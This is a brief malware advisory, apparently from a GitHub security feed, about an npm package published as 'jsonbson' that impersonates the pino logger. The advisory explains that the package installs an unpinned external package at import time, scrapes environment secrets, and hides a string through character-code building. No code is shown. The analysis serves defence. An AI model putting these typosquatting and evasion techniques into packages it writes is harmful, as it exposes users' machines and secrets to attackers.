The `corelia` package is not declared in dependencies and is pulled unpinned from npm at import time, executing arbitrary third-party code with the harvested fingerprint available in-process. The package masquerades as the pino logger (homepage https://getpino.io, main file pino.js, README titled 'log-flare (Pino)', pino-branded image assets) despite being published as `jsonbson` — a typosquat/brand-impersonation lure. lib/writer.js further uses a `String.fromCharCode` per-character builder to assemble the only human-readable error string, an obfuscation pattern with no functional purpose other than evading string scans. The combination — branding deception + import-time silent install of an unpinned external package + bulk environment scraping + character-code obfuscation — is an unambiguous stager that grants the publisher arbitrary code execution and access to all environment secrets on every machine that requires this module.\n\n## Source: ghsa-malware (7379ad9f4ecbca60d3f95d80445ff8e61a7ce5fd461912e50c8c2b990092b22a)\nAny computer that has this package installed or running should be considered fully compromised.
